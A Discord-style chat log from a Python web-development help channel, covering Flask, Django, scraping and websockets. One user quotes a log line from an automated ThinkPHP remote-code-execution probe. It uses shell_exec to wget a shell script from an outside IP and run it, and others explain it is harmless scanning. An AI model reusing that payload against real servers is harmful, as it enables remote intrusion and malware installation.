I am struggling to connect my CSS file to HTML in Flask. Has anyone done this before?

distant charm
#

Hello so I am trying to host my discord bot and a quart web app both of these are connected

#

How do I properly host them kinda vague question

unkempt juniper
#

im using flask with render templates
how would i put folders in "templates" that store my code.

#other pages
@app.route("/troll")
def troll():
    return render_template("html/troll.html")```
this is what i tried but it didnt work
tacit brook
#

with sqlachemy flask how do you structure it

#

with blueprints

#

would I declare each class in the relevant blueprint file?

#

or all in main

#

Ok... I am very confused

#

could anyone provide me with an example of flask with multiple mysql databases in different blueprint files

#

I'm kinda worried i'm going to overwrite/drop my DB lol

native tide
#

Someone can help me with docker and django?

#

I did some updates on my site and i did the makemigrations but didnt worked

mortal mango
#

how would I make a query in django to an external database that I have specified in DATABASES=[] in settings.py?

native tide
#

@lyric lance Have you had any success? I might be able to help.

native tide
native tide
# mortal mango how would I make a query in django to an external database that I have specified...

U can either use a db manager and let him decide which db to use and u do normal db queries like: users = User.objects.all() or you use the "using" parameter/function like so: User.objects.using("users").all() or for saving my_object.save(using="objects")
More Info at the docs at: https://docs.djangoproject.com/en/3.1/topics/db/multi-db/ under Manually selecting a database for a QuerySet

Note: If the database is not the default one

mortal mango
native tide
tacit brook
#

How do I avoid a circular import

mortal mango
#

oh ok. Models kind of confuse me.

tacit brook
#

with flask models

#

that is obviously a circular import

#

err I forgot I took the circular bit out...

#

importing the app from main is a circular import

#

but I need that to initialize the database

#

I guess what i'm asking is how to a have multiple databases which are accessible from blueprints

native tide
heavy roost
#

hey i let my django website be accessible through the internet for a few minutes to check whether i can access it on my phone... and this came through
"GET /index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.144.225.27/bin.sh ; chmod 777 bin.sh ; ./bin.sh ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 -
Should i be worried?

native tide
heavy roost
#

no i ran it on my windows 10 pc

#

was just testing if everything works on my phone

native tide
#

Did it work bc it should have shown a 400 Error Code of Bad Request

heavy roost
#

code 400, message Bad request syntax

#

but i did hear windows alert sound so idk what it did

tacit brook
#

well a shell script wouldn't run on windows anyway...

#

I would hope this isn't actually a thing that works though lmao

heavy roost
#

i'm worried about the windows alert sound

tacit brook
#

well literely none of those commands would work on windows... so

native tide
#

just go to your antivirus settings and see if theres any issues detected if youre worried but it shouldnt have done anything

dapper tusk
#

this really shouldn't have done anything, django isn't vulnerable to that

heavy roost
#

ok

tacit brook
#

the only way that would do anything is if you #1 ran linux server and #2 had a program that did shell execution for some god unknown reason

dapper tusk
#

if you put something on the internet, there are a bunch of places which will just run malicious requests for various buggy frameworks

tacit brook
#

yea

dapper tusk
#

its probably an endpoint in some php framework that is meant to be private, but easy to misconfigure

tacit brook
#

you get thousands of that kind of thing every day

#

cloudflare helps kinda

#

can someone help me with my flask api? I'm trying to have multiple databases but don't understand how to import it.

#

I feel like i'm missing something integral to how this is susposed to work

#

lol... and just posted mysql user and pass. Eh good thing I use localhost only and ssh tunnel

#

main.py

 
from flask import Flask, request
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import desc

from endpoints import misc_endpoints
from dislog_EPs import dislog_endpoints

api = Flask(__name__)

mysql_user = "user"
mysql_pass = "pass"
mysql_server = "127.0.0.1"

api.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
api.config["SQLALCHEMY_BINDS"] = {
    'discorddb' : f"mysql+mysqlconnector://{mysql_user}:{mysql_pass}@{mysql_server}:4000/DiscordDB"
}

db = SQLAlchemy(api)

from models import *

db.create_all(bind='discorddb')


var = DiscordDB.query.order_by(desc('message_id')).filter_by(author_id=529697752850890782).limit(10)

for res in var:
    print(res.content)
# register routes from urls
api.register_blueprint(misc_endpoints)
api.register_blueprint(dislog_endpoints, url_prefix='/dislog')


if __name__ == "__main__":
    api.run(debug=True)

models.py

class DiscordDB(db.Model):
    __bind_key__ = 'discorddb'
    __tablename__ = 'messages'
    id = db.Column('message_id', db.BigInteger, primary_key = True)# "message_id BIGINT PRIMARY KEY,"\
    channel_id = db.Column('channel_id', db.BigInteger)# channel_id BIGINT,"\
    channel_name = db.Column('channel_name', db.String)#"channel_name TEXT,"\
    author_id = db.Column('author_id', db.BigInteger)#"author_id BIGINT,"\
    author_name = db.Column('author_name', db.String)#"author_name TEXT,"\
    nick = db.Column('nick', db.String)#"nick TEXT,"\
    guild_id = db.Column('guild_id', db.BigInteger)#"guild_id BIGINT,"\
    guild_name = db.Column('guild_Name', db.String)#"guild_name TEXT,"\
    content = db.Column('content', db.String)#"content TEXT,"\
    attachments = db.Column('attachments', db.String)#"attachments TEXT,"\
    created_at = db.Column('created_at', db.String)#"created_at TEXT,"\
    created_at_unix = db.Column('created_at_unix', db.BigInteger)#"created_at_unix BIGINT"\
#

I need to import that model from models.py. But it needs the db object

#

if I import that from main its obviously a circular import

native tide
#

did you search on stackoverflow i just found something similiar i think
Stack Overflow: https://stackoverflow.com/questions/15021292/configuring-flask-sqlalchemy-to-use-multiple-databases-with-flask-restless Its pretty old but mby helps
or https://flask-sqlalchemy.palletsprojects.com/en/2.x/binds/
Sry but i cant help anything more bc im not into flask :/

tacit brook
#

i've checked a bunch of stack overflow articles on this lol not that one though

native tide
#

its old but i hope it helps

tacit brook
#

I don't understand it

#

whats manager?

#

i'm not using restless

#

and it doesn't actually show the import

#

so...

native tide
#

sry idk either

#

but mby this helps

#

from a yt vid i found about multiple databases in flask with SQL-Alchemy

tacit brook
#

I know how to do that. I just can't figure it out spread out over blueprints

#

ah

#

I think I can load it in the main.py file then store the db in config and access with
db = current_app.config["flat_pages.db"]

open tinsel
#

How can I scrape the data directly off the page? Full file based app at https://paste.pythondiscord.com/udafepugey.py - Test code below works from a file but not a url.

# test routine
from bs4 import BeautifulSoup
import requests
import lxml

def get_link_data(url):
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
    'Accept-Language': "en",
    }

    r = requests.get(url, headers=headers)
    soup = BeautifulSoup(r.content, 'lxml')
    return(soup)

def main():
    pass

main()

# url = "https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio"
# soup = get_link_data(url)

# Workaround – open page above and save to file "urlPageSaved.html"
filename = "urlPageSaved.html"
soup = BeautifulSoup(open(filename,'rb').read(), "lxml")

print(soup.find('g', {'class' : 'highcharts-yaxis-labels'}))
# print(soup.find('g', {'class' : 'highcharts-series-0'}))
tacit brook
#

ffs pls format that

#

wdym?

#

it looks to me like that function would work fine?

open tinsel
#

Try it, it falls over.

tacit brook
#

what error?

open tinsel
#

file vs url

C:\Users\User\Documents>python bs10stub.py
<g class="highcharts-axis-labels highcharts-yaxis-labels" data-z-index="7"><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="396">$6k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="334">$8k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="272">$10k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="211">$12k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="149">$14k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="87">$16k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="26">$18k</text></g>

C:\Users\User\Documents>python bs10stub.py
None
tacit brook
#

Oh yea I don't think its r.content

#

lemme check

open tinsel
#

the script (data) is missing

tacit brook
#

yea replace r.content with r.text

#

I think that will solve it

peak meteor
#

where do I go for requests?

#

is this the place for reqeusts and API calls?

tacit brook
#

I use this channel though its not correct

open tinsel
peak meteor
#

ok so

tacit brook
#

idk

peak meteor
#

I have a problem, cloudfare says I need to enable cookies

#

but im using an user agent

tacit brook
#

need #apis-and-scraping

peak meteor
#

Trying to do a GET request, on browser it works fine (401)
https://api.vrchat.cloud/api/1/user/usr_1b7c175a-283e-4226-ae19-5e77d72bd1cf/friendStatus?apiKey=JlE5Jldo5Jibnk5O5hTx6XVqsJu4WJ26
But when I do it in python, it blocks because I need to enable cookies??

        s = requests.session()
        headers = {'user-agent': 'Something/1.0',
                   "Authorization": "Basic redactedkey"}
        #params = {"apiKey": "JlE5Jldo5Jibnk5O5hTx6XVqsJu4WJ26"}
        r = s.get("https://api.vrchat.cloud/api/1/user/usr_1b7c175a-283e-4226-ae19-5e77d72bd1cf/friendStatus?apiKey=JlE5Jldo5Jibnk5O5hTx6XVqsJu4WJ26",
                  headers=headers
                  )
#

the funny thing is

#

it works on the other link

#

but this link doesnt work

wind walrus
astral dove
open tinsel
#

No, it's a public page

tacit brook
#

try just printing the soup to make sure its getting set correctly

#

or set breakpoint and hover

open tinsel
#

I've done that, no data with url

#

data is in the file

tacit brook
#

well it is definitly .text

source = requests.get(f'https://disboard.org/search?keyword=key&page={i}')
    if source.status_code == 404:
        print("Scraped all of them")
    source = source.text
    i+=1
    soup = bs4.BeautifulSoup(source, 'lxml')
open tinsel
#

can you get anything from that page?

tacit brook
#

yea

#
from bs4 import BeautifulSoup
import requests
import lxml

def get_link_data(url):
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
    'Accept-Language': "en",
    }

    r = requests.get(url, headers=headers)
    soup = BeautifulSoup(r.text, 'lxml')
    return(soup) 

url = "https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio"
res = get_link_data(url)
print(res.text)

opaque rivet
tacit brook
#

you wouldn't use that second text to get the soup

#

that converts it plain text I think

#

idk

#

edited to remove ambiguity

opaque rivet
#

but I think websockets would be more reliable in this case.

wind walrus
#

Somebody said I’d need to combine web sockets and token, but is that so?

open tinsel
wind walrus
#

The β€œmodel” you speak of is like a flask SQLAlchemy database right? db .column

tacit brook
#

me?

native tide
tacit brook
#

everything on the page is going to be there lmao

#

its the page source code

open tinsel
#

Yes, it's the source code but not the chart data

tacit brook
#

... if the chart is one the page its going to be in the source code. well actually I guess they could do some weird iframe thing but then I don't think it would be saved anyway

wind walrus
tacit brook
#

I can try to get it later. RN its too much of a pita to switch venvs

wind walrus
#

This is the pseudocode they gave me

#

How would this work? I didn’t understand his explanation :/

#

He said that I could do it that way - using a column in the model - but that I could do it using only tokens

native tide
#

you give the user who edits a token for example 1 hour if he doenst refreshes he gets kicked and someone else can edit and if someone already edits then the doc is not editable so the requesting user doesnt get a token to edit. Its basically checking who got a token to edit and who not and when the doc is editable and when not

open tinsel
wind walrus
#

And this wouldn’t involve web sockets at all?

#

Oh needs sockets?

#

Lol some ppl are saying I need sockets others are saying I don’t idk

opaque rivet
opaque rivet
open tinsel
#

Do you have an example?

wind walrus
#

Yeah I understood that

native tide
#

not rlly it just takes an api and some javascript who makes request to see who has a token and who not and which file is editable and which isnt

wind walrus
#

Ummm so omega you are saying that web sockets are not necessary?

opaque rivet
wind walrus
#

I want to make sure that the tab isn’t duplicated anywhere - different tab on same browser, different browser, different device, etc...

opaque rivet
wind walrus
#

I mean a rea time collaboration system like google docs is ideal but I think that’s too hard

native tide
wind walrus
#

Ah okay, thank you for the conclusion, I now understand why web sockets is better than just tokens

#

I’ll try to implement it

native tide
opaque rivet
wind walrus
#

So I combine web sockets with the data β€œeditable” thing with tokens

wind walrus
wind walrus
#

Wait the token to force the user out if they have been editing for like 2 hours, is that python or JavaScript?

native tide
#

I dont know flask but in django which is similiar i would do it in pyhton but its probably also in javascript possible

opaque rivet
# wind walrus this

Oh I see, I don't really see the point of tokens here - use tokens just for the authentication of users. It would go something like this:

  • User requests websocket connection to server

Conditionals:

  • You check if they can edit the document (I assume you have a Document model with a relationship to its users who can edit it)

  • You check if the document is editable (e.g. from a boolean field in the Document model) (editable=True) turns to (editable=False)

  • If so, accept websocket connection and continue.

  • Else, deny the websocket connection.

If the user times out, closes the window, stops editing etc, you'll have a function closing the websocket and then turning editable back to true.

Also after an arbitrary amount of time you can disconnect the websocket connection (threading will be needed here) but you'll need to inform the user on the frontend that it was disconnected (so python + JS)

#

and if you're learning JS, getting into a framework would make stuff like this easier and more manageable. e.g. with React you could've avoided websockets all together (that's not a bad/good thing) - websockets are great to know

wind walrus
#

Wow, thank you for such a detailed walkthrough

#

I’ll definitely give it a try when school ends

#

Yeah, I do indeed have a Document model

#

β€œIf the user times out, closes the window, stops editing, etc”

Does python check this? Or JavaScript? Cos timing out is python, but closing the window is JavaScript right?

opaque rivet
wind walrus
#

Ah

#

So just check if web socket connection is broken

opaque rivet
#

you'll have a function which is fired when your websocket disconnects (in python) which will do your cleanups, like settings editable to true

wind walrus
#

Okay, understood, thank you very much

opaque rivet
#

at least from my experience with django & websockets, I doubt flask would be much different conceptually

open tinsel
#

hey, I got clobbered looking at my scraping

#

and missing data

tacit brook
#

is their anything bad that can be obtained from a database object class?

#

a db.Model

#

I'm making an API that returns values from it

#
def getFields(msg, fields):
    #ex: ?fields="author_id,content,created_at"
    fields = fields.strip('"')
    fields = fields.split(',')
    

    allowed_fields = ['']
    
    res = []
    for field in fields:
        field=field.strip()
        if field in []
        field = getattr(msg, field)
#

and wondering if I should have an allowed_fields check

#

is their any private data in a db.Model object assuming that the data stored in the database isn't private?

#

I.E. login info

#
query = current_app.config["DiscordDB"].query.order_by(desc('message_id')).filter_by(author_id=author_id).limit(10)
    
    result = []
    for msg in query:
        result.append(getFields(msg, fields))
#

eh I will just add it. The overhead from a check will be fairly trivial

#

heh if I cared I guess I wouldn't be using python

#

save a try,except block anyway

#

... how tf do you return a json list?

#

x = [1,2,3]

#

return jsonify(x) doesn't work

#

return jsonify({x}) doesn't work

astral dove
#

Why doesn't it work?

tacit brook
#

lemme re run

#

not serializable I think

astral dove
#

And is x definitely just a list of integers?

tacit brook
#

I know i can do return {"data":x} but I don't wanna

#

no its a lit of a lot of stuff

#

*list

#

integers and strings

astral dove
#

There must be another data type in there that doesn't map to JSON

tacit brook
#

ok will check

#

its a little hard since vs code won't let me set breakpoints in the blueprint files

opaque rivet
#

django channels... drf... any other major django libraries to learn?

tacit brook
#

update nope it works fine. I is dum

open tinsel
tacit brook
#

query = current_app.config["DiscordDB"].query.order_by(desc('message_id')).filter_by(author_id=author_id, content=f'%{q}%').limit(size)

I don't understand why this doesn't work... no error

#

where q is a query string

#

query = current_app.config["DiscordDB"].query.order_by(desc('message_id')).filter_by(author_id=author_id).limit(size) does

tacit brook
#

lemme try getting the parrent block and then parsing that

open tinsel
#

That is a working example with a full app link above it. Run with file downloaded then try url

tacit brook
#

oh well duh.

#

view-source:https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio

#

its all js

open tinsel
#

so, why can't I scrape it?

tacit brook
#

because its not being sent to you as a html webpage

#

but as a js application

#

your browser turns that into html

open tinsel
#

so that explains why I can get it from the saved file

tacit brook
#

yea

#

you could use selenium

open tinsel
#

ok, I'll look at selenium

tacit brook
#

or you could scrape the js

open tinsel
#

how to scrape the js

tacit brook
#

nvm you cant

#

its not there at all its fetched from server

#

yea selenium your only option i know of

#

lemme see if I can get the request browser makes

open tinsel
#

hey thanks mate. Everyone else just says it's easy, just do this.

#

I'll learn selenium

tacit brook
#

Yea no dice I think on browser requests. It does send a lot of data as a response to a cuple requests but I can't find the values in there

open tinsel
#

Anything particular I should look for in a selenium tute?

tacit brook
#

sorry idk a ton about selenium as far as this goes

#

I kinda just know how to click buttons and enter text lol

open tinsel
#

no worries. really appreciated

tacit brook
#

do you strictly need THAT data?

#

I don't really get how the y-axis labels are that useful

#

because theirs a good chance you can get the same data from other sites

#

which may be more scraping friendly

open tinsel
#

Yes y-axis, it's essential to use regression to reconstruct the data from sgv Link to full app above code

tacit brook
#

ah

#

yea I don't think their in the request

#

the points on the graph are but their also not great for scraping

#

the points are all numbered and it kinda looks like its delibritly made hard to fetch

open tinsel
#

no, I take the svg shape line and use the y-axis to recreate the data to the cent

#

using chart coordinates

tacit brook
#

ah neat

open tinsel
#

some joker told me I couldn't do it without a heap of js bs

#

lol

tacit brook
#

they may have been right lol

open tinsel
#

if you run my app you get the data to the cent

tacit brook
#

this seems like the worst possible way to get that data lol

open tinsel
#

I agree

tacit brook
#

but sounds like a fun challenge

open tinsel
#

maybe it is time I learned js

#

It's more about the journey

#

What's your project?

tacit brook
#

i'm making an api to access my discord log bots data

open tinsel
#

I don't know why it is so hard to get data out of discord

#

search is bloody hopeless

tacit brook
#

?

open tinsel
#

if you can't remember what you are looking for

tacit brook
#

oh yea lol

open tinsel
#

some good scraping would be handy

#

what are you going to do with your code?

tacit brook
#

idk

#

nothing if I cant get my damn query to work

open tinsel
#

have a good day

tacit brook
#

you too

#

how would I do this

#
  query = current_app.config["DiscordDB"].query.order_by(desc('message_id')).filter_by(author_id=author_id).filter_by(content=f"&{q}&").limit(size)```
#

everything works except the content

#

oh... I put & instead of %

#

lol I don't think it works anyway but let me see

#

yea it doesnt

#

you can do
User.query.filter(User.email.endswith('@example.com'))

#

but I have the database object stored in the app.config

tacit brook
#

solved it needed filter not filter_by

#

ffs

upbeat current
#

πŸ˜… (frankly) its funny you r talking to urself @tacit brook

gaunt flax
#

everyone does from time to time

tacit brook
#

lol

gaunt flax
#

sql query?

#

i feel like i no more about breaking things apart than the development itself lol

wind walrus
#

So umm I have a FieldList(FormField(MyForm)) with Flask wtforms

#

I want to pass in a value to MyForm

#

How can I do this?

elder nest
#

how would I make a check box ticked/not ticked based off a database value

#

ive tried this with word being 0 or 1

#

<input type="checkbox" id="antiword" name="antiword" checked={{ word }}>

weak mesa
#

Hello, I am using django-wkhtmltopdf, I followed their github instructions, and I got this error :

#

Any idea of what may cause the issue?

native tide
#

looks like the path to your templates arent configured right. Can you show your urls and views.? And did you add wkhtmltopdf urls to your root url.py bc they dont say that in the github instruction.

dusty moon
#

can i use python like javascript in html?

native tide
dusty moon
#

so how do people use python in web development?

hallow yacht
#

django or flask framework fex

native tide
dusty moon
#

and front end and back end are?:

#

sorry im very new to this stuff

native tide
#

frontend is html and the design basically and backend is the logic behind everything

dusty moon
#

so i can use python in the backend. right?

#

i heard that javascript is also used on backend stuff

native tide
dusty moon
#

and i dont wanna learn js if i can use python instead

native tide
dusty moon
#

i have no idea what node.js means. by js i meant javascript

native tide
native tide
dusty moon
#

so let me get it straight. python is for backend and backend means logic and functions and computer magic. html css is the looks. right?

weak mesa
# native tide looks like the path to your templates arent configured right. Can you show your ...

thanks for your reply : my view.py

    template = "pdf/pdf.html"
    context = {"title": "Hello World!"}
    model = Quote

    def get(self, request, *args, **kwargs):
        response = PDFTemplateResponse(
            request=request,
            template=self.template,
            filename="hello.pdf",
            context=self.context,
            show_content_in_browser=False,
            cmd_options={
                "margin-top": 50,
            },
        )
        return response```
and my url.py :
```    url(
        r"^pdf/(?P<pk>\d+)/$",
        MyPDFView.as_view(),
        name="pdf",
    ),```
native tide
dusty moon
#

ok.

#

so, what the django and flask are? can i use normal python? how it works? sorry for all these questions 😦 i have no idea how anything works

native tide
weak mesa
native tide
native tide
dusty moon
#

so, a framework is that thing that manages all the things? like idk, hosting the site?

#

ping was by accident sorry about that

native tide
#

no, not rlly. u use other websites server or ur own server for that. framework kinda manage things behind the scences but not those things

dusty moon
#

oh, so a framework just manages the functionality of things like buttons that do stuff?

native tide
#

no buttons are frontend thats in your html/js file. frameworks are specialised for a use e.g web development and then they manage some things like how to add 3rd party packages,how to set up urls and so on

wind walrus
#

Flask WTForms, I have a FieldList(FormField(MyForm))

#

Does anyone know how I can pass an argument to MyForm?

#

So for example MyForm could be like telephone numbers

#

And I want to pass in the country number to MyForm so I can validate the telephone number

native tide
#

if thats wrong sry but i dont know flask rlly i just googled it up

native tide
# dusty moon oh, ok.

i would suggest to watch some yt tutorials of making a django site and then u understand it better. I learned it that way myself too
For example DennisIvy,CoreySchafer, justdjango
But u gotta watch out bc of the syntax. the tutorials are kinda old and it changed a bit

dusty moon
#

should i learn html first or not? for me, html is easy. my problem is understanding how all the web stuff works

native tide
#

i learned it before but i dont think its rlly necessary bc u learn a lot of html with django or flask as well

dusty moon
#

i mean, i wanna learn clean html/css but, if its not the correct way of learning web stuff then what should i start with?

lime lava
#

Hi everyone
How do you create a filter for a DRF serializer field?
For example I want my serializer to serializer only those objects that have name = "Product" from the queryset

native tide
#

u can learn it but i learned it myself before django too and now i just use some prebuild design and change it a little bit or use bootstrap or a css framework which provide css style which you simple appy in html

dusty moon
#

oh, i actually wanna make my own designs. im really good with gui design and stuff.

native tide
lime lava
#

So the queryset isnt actually a queryset

dusty moon
#

i am

lime lava
#

So I cannot apply SQL type filters

#

directly

dusty moon
#

btw, in a kind unrelated (but a bit related) note, can i use html/css in normal gui libraries in python? like tkinter and pyqt.

native tide
# dusty moon i am

great for ya but mby try bootstrap for the start or after some time when u focus on backend stuff bc it provides a lot with no css basically and simple html classes to apply

native tide
dusty moon
#

i heard that with some "computer magic" you can use some css. but i heard its possible in pyqt, idk about tkinter

dusty moon
native tide
lime lava
#

Yes true, but their model does not inherit from Django Models

#

Or else I would have directly used ModelSerializer

native tide
native tide
lime lava
#

quartic_sdk

dusty moon
#

i love long tutorials. i get to know everything all at one sit.
some people dont like it tho...
i think its only me who can sit for 4 hours straight.

lime lava
#

Very purpose specific

dusty moon
#

lol seems like the dude in the comments got downvotes, i didnt look at that... so maybe tkinter dont have a workaround

native tide
# lime lava quartic_sdk

ok but u can still filter it just without the models filter. there are other filter possibilities e.g with Q or django-filters

native tide
dusty moon
#

im tryna learn pyqt anyway so idc lmao

lime lava
#

@native tide I just want to know if we can do something like this

#

(value)

#

Here value='product' is only for explanation

#

It will give an error

native tide
#

yeah u have to make the queryset in the views.py and pass it as the queryset with the get_queryset method

#

thats the only way i can now think of it

lime lava
#

Yes that is possible

#

Just found out that seriailzers cannot filter anything

native tide
lime lava
#

Yes, will try this

#

Thanks

native tide
#

np tell me if it worked or not pls im interested too

lime lava
#

Yeah sure

opal portal
#
#models.py
class A(models.Model):
    ...
    fk1 = models.ForeginKey(FK1, on_delete=models.CASCADE)
    fk2 = models,ForeignKey(FK2, on_delete=models.CASCADE)
    ...

class User(AbstractBaseUser):
    ...
    fk1 = models.ForeignKey(FK1, on_delete=models.CASCADE)
    ...

class FK1(models.Model):
    ...
    fk2 = models.ForeignKey(FK2, on_delete=models.CASCADE)
    ...

#serializer.py
class ASerializer(serializers.HyperlinkedModelSerializer):
    class Meta:
        model = A
        fields = '__all__'

#views.py
class AViewSet(viewsets.ModelViewSet):
    queryset = A.objects.all()
    serializer_class = ASerializer

I'm using Django. When creating an new instance of model A, how can I get the some value from an instance of FK1 linked to the current logged in user and assign them to the newly created instance of model A ?

native tide
#

if you want to do it as soon as the instance is created i would suggest signals. thats like 2 lines of code with it

native tide
#

basically some code thats runs before a instance saves/deletes or after it.
for example: ```
from django.db.models.signals import post_save
@receiver(post_save, sender=User)
def create_profile(sender, instance, created, **kwargs):
if created:
Profile.objects.create(user=instance)
Contact.objects.create(user=instance)

#

and just replace it with your models and you should be good to go

opal portal
#

what method should i override in the modelviewset then ?

native tide
#

not in the modelviewset in a seperate file called signals.py

opal portal
native tide
hallow yacht
#

someone here have experience with DataTables ?

native tide
#

No but jut ask your question and mby im still able to help you bc the docs seem to be simple to understand.

hallow yacht
#

i think i just have found it. My javasrcipt is so rusty hehe thanks anyway !

native tide
#

Ok πŸ‘Œ

versed python
#

I have

struct A {
  attr: i32
}
struct B {
  attr_other: i32
}
let a = A { attr: 12 };
let b = B { attr_other: 12 };

Now, I know that a.attr == b.attr_other will yield true. However, I want that a == b should yield true. In python, I would override the __eq__ method on the class to achieve this. How would I do this in Rust?

#

Solved

hallow yacht
#

Issues with Ajax Posts towards django. 😦 my csrf token is in the json file. but the datatable values are not...

#

doing an alert just before the ajax from the table data comees back ok

native tide
#

can you show the error and the ajax request?

keen ravine
#

Hey guys! Am watching a web scraping tutorial on YouTube, I did exactly what the tutor did in the tutorial, but it didn't work with me.

#

This is my code.

#

But it gives me this error

#

Does anyone know why is this happening? Can anybody help me please?

versed python
# keen ravine

in line 30, you probably meant find_element_by_class_name (you wrote it in plural)

keen ravine
#

Wow!

#

All of that was because a single letter?!

#

Thank you man, really appreciate it.

hallow yacht
#

issue with the Ajax request 😦
$('#submit_phones').click( function() {
var info = table.rows( { selected: true } ).data();
var URL = "{% url 'upload_devices' %}";
$.ajax({
type: "POST",
url: URL,
dataType: "json",
data: {
info : info ,
csrfmiddlewaretoken : '{{ csrf_token }}'
},
success : function(json) {
alert("Successfully sent the data to Django");
},
error : function(xhr,errmsg,err) {
alert("Could not send data to Django. Error: " + xhr.status + ": " + xhr.responseText);
}
});
});
but my "info" is filled at the start (after var info with an alert i get my info objects) ) but the ajax request does not seem to pass it with the POST any help ?

compact crane
#

TypeError: The view function did not return a valid response. The return type must be a string, dict, tuple, Response instance, or WSGI callable, but it was a tuple.
Didn't return a valid response, return must be a tuple but it was a tupleπŸ‘ πŸ˜‚

return jsonify({'message': e.user_message, 'category': 'error'}), 400, {'ContentType':'application/json'}
buoyant shuttle
#

hey guys. How do i initalize my state to be the props

native tide
#

bc after the parentheses of jsonify 400 and {"contentType":applicaiton/json"} arent in the jsonify or in the relation it should be and thats why theres an typeError

native tide
#

@dusty moon If you are new to web dev, I'd definitely recommend learning the basics of HTML, CSS and Flask before something more specific such as TKinter or pyqt.
This is the best CSS layout video I have found on Youtube:
https://www.youtube.com/watch?v=qm0IfG1GyZU&t=2s
This is the best Flask tutorial that I have found on YouTube:
https://www.youtube.com/playlist?list=PL-osiE80TeTs4UjLw5MM6OjgkjFeUxCYH

In this dynamic talk, Una goes over the power of modern CSS layout techniques by highlighting a few key terms and how much detail can be described in a single line of code. Learn a few layout tricks you can implement in your codebase today, and be able to write entire swaths of layout with just a few lines of code.

Resource:
Check out the demo ...

β–Ά Play video
dusty moon
#

i appreciate that !

slim ginkgo
#

been having some issues connection to socketio on my flask server

#

using flask-socketIO

#

client keeps sending the same request

#

"GET /socket.io/?EIO=3&transport=polling&t=NZBtzzL"

#

running the app using socketio.run(app) and socketio is declared like:

#
socketio = SocketIO(app, async_mode="eventlet", cors_allowed_origins="*")```
#

and ideas?

opaque rivet
#
const myComponent = () => {
  const [myState, setMyState] = useState();
  return (
    <AnotherComponent this_prop={myState} />
  )
}

@buoyant shuttle

#

your question doesn't make sense, can you elaborate

vast crag
#

I need help implementing login/registration authentication, could anyone please suggest me a good resource or a library for it?
im using MERN

native tide
vast crag
#

I assumed web development meant including other web technologies also

#

I won't make this mistake again

native tide
#

i mean it says js above in the channel but i dont think somebody here knows js backends rlly well, mby im wrong

opaque rivet
vast crag
#

yes I did find an answer in another server thanks for the suggestion though

native tide
vast crag
#

it's okay I should have thought of that before asking here

slim maple
#

hi i have question

#

so something is writen in a console (log)

#

and

#

i want it to be in a variable

#

variable = the console log

#

how can i do it

native tide
slim maple
#

you know when you inspect

#

you have the elements

#

and console

#

this console

native tide
#

thats the developer browser console and you want to get the value a user writes inside of it and save it, right?

slim maple
#

now

#

no*

#

just

#

what is writen in there

#

to be in a variable

native tide
#

so no user input? just the error message or the console.log u did in your js file?

slim maple
#

no

#

just console.log

#

it needs to get into a python variable

native tide
#

ok but why dont you try to render the text you would console.log in a p tag with the name = "console.log" and then query it within the django views and save it in a variable?

slim maple
native tide
#

so you are web scraping?

slim maple
#

i was looking for tutorials on youtube

#

but you had to get the id

#

but console log doesn't have an id

native tide
half bough
#

Howdy

#

I'm working with flask and getting this error on all my pages:

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.```
#

I think it may have to do with the below line in my routes.py file:

app = Flask(__name__)

Because when I comment it out, my pages render but they don't get the packages from __init__.py

#

Any help would be great

elder nest
#

can someone help me on how I would make it so if a database says one thing a checkbox is set to on and if its not that it is set to off?

#

I have a vairable passed through called word

bronze palm
#

When making a django app what is the difference between using path, and url regex? is one better then other other I'm still new to it so I've been trying to figure it out

#

I see in 3.x on ward alot of docs use path

#

and before were using url so I was wondering about the change

limpid python
#

how do I launch this website

#

I want it on a local host for now, but I not sure how to run the code

graceful nymph
#

is there a way to return the same render template twice in the same app route (if one is in an if statement)?

stable hemlock
graceful nymph
stable hemlock
graceful nymph
#

it doesnt send the data

#

the second time

#

but it works fine the first time?

#
from flask import Flask, request, redirect, render_template
from os.path import join, dirname, realpath
from detection.Detector import Detector
#https://blog.miguelgrinberg.com/post/handling-file-uploads-with-flask
UPLOADS_PATH = join(dirname(realpath(__file__)))
WebServer = Flask(__name__, template_folder="resources", static_folder="resources/static/")

@WebServer.route("/", methods=["GET", "POST"])
def index():

    data = "epic"

    if request.method == "POST":
        file = request.files["file"]
        x = int(float(request.form["x"]))
        y = int(float(request.form["y"]))

        location = "images/" + file.filename

        with open(location, "wb") as target:
            file.save(target)

        resistance = Detector.create().detect(location, x, y)

        bands = resistance.bands

        return render_template("Resistor.html", data=bands)

    return render_template("Resistor.html", data=data)


if __name__ == "__main__":
    WebServer.run()```
#

dont mind the comment its just a reference for my write up lol

stable hemlock
#

Your problem is that the render template inside the if only renders when there is a post request. As soon as there is a get request the other template will render.

graceful nymph
#

ahhh i see

#

what would be the best way to go about this

#

sorry im not the best at this...

#

nevermind i have fixed it

#

thanks very much

simple narwhal
#

